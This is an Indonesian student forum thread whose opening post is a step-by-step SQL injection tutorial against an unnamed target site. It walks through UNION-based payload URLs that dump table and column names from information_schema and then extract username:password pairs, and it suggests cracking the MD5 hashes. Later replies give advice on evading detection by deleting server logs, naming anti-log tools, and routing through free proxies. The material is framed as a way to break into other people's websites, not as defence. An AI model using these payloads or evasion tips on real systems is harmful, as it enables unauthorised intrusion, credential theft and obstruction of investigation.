Search
 
 

Display results as :
 


Rechercher Advanced Search

Top posters
agoenk (2095)
 
viyan_cs (1036)
 
b-joe (749)
 
ieyaz_Chuit (725)
 
Zell Aristocrats (667)
 
jun43d1 (638)
 
Hetro_fabio (314)
 
twinkblack (265)
 
suzee_tkj2 (237)
 
harmoko (184)
 

December 2016
MonTueWedThuFriSatSun
   1234
567891011
12131415161718
19202122232425
262728293031 

Calendar Calendar

Affiliates
tkjpower.multiply.com
 

sql injection(mencari pasword & username suatu web dan data penting lainnya)

Page 1 of 2 1, 2  Next

View previous topic View next topic Go down

sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Sat May 09, 2009 2:30 pm

di postingan kali ini akan saya terangkan step by step bagaimana hacker menyusup ke dalam sistem dan mengexploitasi hole dengan sql injection

http://(target).com/path/newsdetail.php?id=15(untuk alamat bisa anda cari sendiri tergantung kreatifitas)
langkahnya:

1. cek dulu apakah website tuh error sqlnya?
http://(target).com/path/newsdetail.php?id=15' (tanda (') adalah untuk mengetahui apakah web target error sqlnya or tidak)
jika muncul kalimat You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY `date` DESC' at line 1 berarti web target sqlnya error or kalimat yang lainnya yang menunjukan sqlnya tuh error.

2.kita cari column dengan perintah order by..
order by kita gunakan untuk mengurutkan column, jadi jika perintahnya order by 5, maka column yang pertama muncul diurutkan dari column ke-5..atau dalam kata lain kita mencari batasan dari kolom table(menebak2 angka)
misalnya pada target kita ini saia pake http://(target).com/path/newsdetail.php?id=15%20order%20by%207--
ternyata muncul pesan Unknown column '7' in 'order clause'

lalu coba lagi http://(target).com/path/newsdetail.php?id=15%20order%20by%206--
muncul pesan yang sama juga

anda coba lagi dengan http://(target).com/path/newsdetail.php?id=15%20order%20by%205--
website dalam keadaan normal kembali..
intinya disini target menggunakan 5 colomn.

3. sekarang kita lakukan perintah union select diakhiri urutan column dari pertama sampai terakhir, gunanya untuk melihat di angka mana kita bisa lakukan injeksi..
jangan lupa tambahkan tanda "-" diawal angka parameter id, contohnya http://(target).com/path/newsdetail.php?id=-15
dalam prakteknya kita ketikan http://(target).com/path/newsdetail.php?id=-15%20union%20select%201,2,3,4,5--
akan muncul "angka ajaibnya"misal 2 dan 3, disitulah hole yang memulai para hacker untuk melakukan injeksi
selanjutnya melihat versi database,sebelum mencari versi database kita akan mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat di database versi 4, jadi kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu menebak-nebak tablenya..

4.@@version adalah command untuk melihat versi database.. bisa juga dengan menggunakan perintah version()..
dalam prakteknya http://(target).com/path/newsdetail.php?id=-15%20union%20select%201,@@version,3,4,5--
maka di web target muncul 5.0.27-standard-log menandai bahwa web target menggunakan database versi 5.

5.selanjutnya mencari table dari information_schema dengan memasukkan perintah group_concat(table_name) didalam "angka ajaib" kemudian diakhir URL tambahkan from information_schema.tables where table_schema=database()--
dalam prakteknya
http://(target).com/path/newsdetail.php?id=-15%20union%20select%201,
group_concat(table_name),3,4,5%20from%20information_schema.tables
%20where%20table_schema=database()--
jika berhasil maka akan mucul table misal...artists,members,news,newscomments,videocomments,videos

6.sekarang kita akan mengintip informasi di dalam table members, pertama cek column dulu di table admin dengan perintah group_concat(column_name) dan diakhir URL tambahkan from information_schema.columns where table_name='nama table'
dalam prakteknya
http://(target).com/path/newsdetail.php?id=-15%20union%20select%201,
group_concat(column_name),3,4,5%20from%20
information_schema.columns
%20where%20table_name=%27members%27--

error!
table 'members' harus diconvert dulu ke hexa agar dapat dibaca oleh SQL..
dengan catatan, kita harus menambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert ke hexa..
untuk menconvertnya kita tinggal ketikan text to hex convert di google
setelah di convert kata members ke hexa menjadi 6d656d62657273

7. setelah mengkonvert lakukan perintah ini nih..

http://(target).com/path/newsdetail.php?id=-15%20union%20select%201,
group_concat(column_name),3,4,5%20from%20
information_schema.columns%20where%20table_name=0x6d656d62657273%20%20--

jika berhasil akan muncul username and paswordnya dari table members...
misal id,username,password,f_name,l_name,email,dob,sex,address,city,country,aboutme,profilepicture,active_usr,random_usr

8. perintahnya: group_concat(username,0x3a,password) tambahkan diakhir URL from members
dimana 0x3a adalah tanda : yang telah diconvert ke hexa, agar format tampilannya username:password, dan command from members adalah untuk menjalankan perintah untuk mengambil informasi dari table yang bernama members..
http://(target).com/path/newsdetail.php?id=-15%20union%20select%201,group_concat
(username,0x3a,password),3,4,5%20from%20members--

viola data has been hacked
sekarang kita akan login sebagai members, namun user members telah terenkripsi dengan MD5
maka anda harus mengkonvertnya ke text bisa anda cari di google "How to Descrypt MD5"

note:%20 = spasi

last edited 10 nov by viyancs

referensi : http://viyancs.wordpress.com/2010/11/10/sql-injectionmencari-pasword-username-suatu-web-dan-data-penting-lainnya/


Last edited by viyan_cs on Wed Nov 10, 2010 2:11 pm; edited 2 times in total

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by jun43d1 on Sat May 09, 2009 4:18 pm

wew ...........ngeri ah

jun43d1
tkjlovers
tkjlovers

Posts : 638
Join date : 2009-03-14

http://catatan-junaedi.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by twinkblack on Sun May 10, 2009 4:33 am

hi.................atut................
dah coba belum sop.....
ane ajarin yang kaya gituan donk.....

twinkblack
tkjmaniac
tkjmaniac

Posts : 265
Join date : 2009-03-26
Location : dunia maya

http://www.twinkblack.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Sun May 10, 2009 7:48 am

twinkblack wrote:hi.................atut................
dah coba belum sop.....
ane ajarin yang kaya gituan donk.....

hhmm ane dapat tutorialnya trus ane penasaran gituu..ternyata setelah ane praktekin ..ya uth hasilnya...

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by jun43d1 on Sun May 10, 2009 12:34 pm

manteplah..........

jun43d1
tkjlovers
tkjlovers

Posts : 638
Join date : 2009-03-14

http://catatan-junaedi.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Sun May 10, 2009 12:54 pm

ada yang mo nyoba...?

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by jun43d1 on Mon May 11, 2009 2:52 pm

boleh jg sih........ Very Happy

jun43d1
tkjlovers
tkjlovers

Posts : 638
Join date : 2009-03-14

http://catatan-junaedi.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by suzee_tkj2 on Tue May 12, 2009 6:52 pm

wah sql injection mah uda biasa........

suzee_tkj2
tkjmaniac
tkjmaniac

Posts : 237
Join date : 2009-04-10
Age : 24
Location : LBS city

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by twinkblack on Wed May 13, 2009 4:13 am

wew hebat ah zuzi katna dah biasa......

bro tu kan cara masukna, lah sekarang yang jadi masalah adalah kalo kita dah berhasil masuk dan ingin menghilangkan jejek biar ga ketahuan sama pemilik gimana carana Arrow
kalo katahuankan berbahaiiiiiiiiiiiiiiiiiiiiiiya...
misal ni OS&versi SQL dia 5.0.32-Debian_7etch8-log

twinkblack
tkjmaniac
tkjmaniac

Posts : 265
Join date : 2009-03-26
Location : dunia maya

http://www.twinkblack.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by suzee_tkj2 on Wed May 13, 2009 11:45 am

tinggal hapus aja log file nya. Very Happy atau jg bisa gunain utility semacam : su.pl, guru-antilog.sh, ssheater-1.1.tar.gz

suzee_tkj2
tkjmaniac
tkjmaniac

Posts : 237
Join date : 2009-04-10
Age : 24
Location : LBS city

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by harmoko on Wed May 13, 2009 10:03 pm

wewewewe.........
mba suzee pinter cuy....

harmoko
tkjmaniac
tkjmaniac

Posts : 184
Join date : 2009-04-24
Age : 23
Location : Brebes

http://www.decouch.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by twinkblack on Thu May 14, 2009 5:21 am

wew kyne dah sering nyoba yah zuz....
kasih penjelasan yang detail atuh....biar yang lainnya tau....
sekalian yar q ga usah muter2 browser.

twinkblack
tkjmaniac
tkjmaniac

Posts : 265
Join date : 2009-03-26
Location : dunia maya

http://www.twinkblack.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Thu May 14, 2009 1:44 pm

[quote="suzee_tkj2"]tinggal hapus aja log file nya. Very Happy atau jg bisa gunain utility semacam : su.pl, guru-antilog.sh, ssheater-1.1.tar.gz[/quote]
tu masih bisa kedeteksi jika komputr serverselaku container menggunakan perintah netstat dan akan muncul ip yang terhubung ke komputer server...nah dari situ si admin yang dirugikan akan mencoba mencari letak ip computer tersebut dimana milik siapa dan dari isp mana...dengan cara menghubungi IANA(internet Assigned Numbers Authority) Iana bertanggung jawab terhadap keseluruhan manajement dan koordinasi dns serta delegasi nama domain didunia.

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Thu May 14, 2009 1:48 pm

[quote="twinkblack"]wew hebat ah zuzi katna dah biasa......

bro tu kan cara masukna, lah sekarang yang jadi masalah adalah kalo kita dah berhasil masuk dan ingin menghilangkan jejek biar ga ketahuan sama pemilik gimana carana Arrow
kalo katahuankan berbahaiiiiiiiiiiiiiiiiiiiiiiya...
misal ni OS&versi SQL dia 5.0.32-Debian_7etch8-log[/quote]
gunain aja proxy www.anonymouse.ws dimana jika kita browsing menggunakan anonymouse yang akan tercatat di ip server adalah alamat ip anonymouse bukan alamat ip kita alias tidak mencatat gerak-gerik or tingkah laku kita dalam berinternetan ..
dan ada lagi nih www.securitywire.com
www.proxify.com

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by suzee_tkj2 on Thu May 14, 2009 2:06 pm

Hehhehehehe....
Pada heran ya???

suzee_tkj2
tkjmaniac
tkjmaniac

Posts : 237
Join date : 2009-04-10
Age : 24
Location : LBS city

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by suzee_tkj2 on Thu May 14, 2009 3:01 pm

menggunakan proxy jg belum bisa menjamin keamanan kita apalagi dari web penyedia proxy yg gratis.
hehhehehehe.......

suzee_tkj2
tkjmaniac
tkjmaniac

Posts : 237
Join date : 2009-04-10
Age : 24
Location : LBS city

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by jun43d1 on Thu May 14, 2009 3:55 pm

klo pengen aman jangan melakukan injection Very Happy:D:D

jun43d1
tkjlovers
tkjlovers

Posts : 638
Join date : 2009-03-14

http://catatan-junaedi.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Fri May 15, 2009 8:30 am

[quote="ghantex17"]klo pengen aman jangan melakukan injection Very Happy:D:D[/quote]
wah jawaban tepat tuh ka juneed.... Laughing Laughing Laughing

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by jun43d1 on Fri May 15, 2009 2:23 pm

suzee_tkj2 wrote:Hehhehehehe....
Pada heran ya???
ga heran ko' Very Happy biasa aja kali

jun43d1
tkjlovers
tkjlovers

Posts : 638
Join date : 2009-03-14

http://catatan-junaedi.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by jun43d1 on Sun May 17, 2009 8:34 pm

sus klo dah biasa injeksi web ajarin donk Very Happy

jun43d1
tkjlovers
tkjlovers

Posts : 638
Join date : 2009-03-14

http://catatan-junaedi.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by twinkblack on Thu May 21, 2009 2:14 am

sus ajarin SQl dong......
kayane wiz mahir nemen sih sus..
bagi2 ilmune oh............

twinkblack
tkjmaniac
tkjmaniac

Posts : 265
Join date : 2009-03-26
Location : dunia maya

http://www.twinkblack.co.cc

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by gantex on Fri Jun 12, 2009 5:27 pm

hehehhehehhe

gantex
newbie tkj
newbie tkj

Posts : 73
Join date : 2009-03-12

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by agoenk on Fri Jun 12, 2009 6:46 pm

wah ternyata mba susi mahir yaaa ???

ya bole laaah di share ilmuna....heuheuee

agoenk
tkjholic
tkjholic

Posts : 2095
Join date : 2009-03-11

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by viyan_cs on Tue Jun 30, 2009 8:01 pm

btw suseee...kemana yaa....???? Rolling Eyes

viyan_cs
tkj geek
tkj geek

Posts : 1036
Join date : 2009-03-19
Age : 25
Location : bogkids

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by johan_ady24 on Tue Mar 23, 2010 3:25 pm

Mr. Viyan ada ga sih tutorial pdf sql n php injection yg lbh mudah dipahami n dipljrin???

kirim link na ych??
cz br kali2 bljr nginjek ga prnah brhasil...

johan_ady24
tkjmaniac
tkjmaniac

Posts : 114
Join date : 2009-03-25
Age : 24
Location : Lebaksiu - Slawie

Back to top Go down

Re: sql injection(mencari pasword & username suatu web dan data penting lainnya)

Post by Sponsored content Today at 5:08 am


Sponsored content


Back to top Go down

Page 1 of 2 1, 2  Next

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum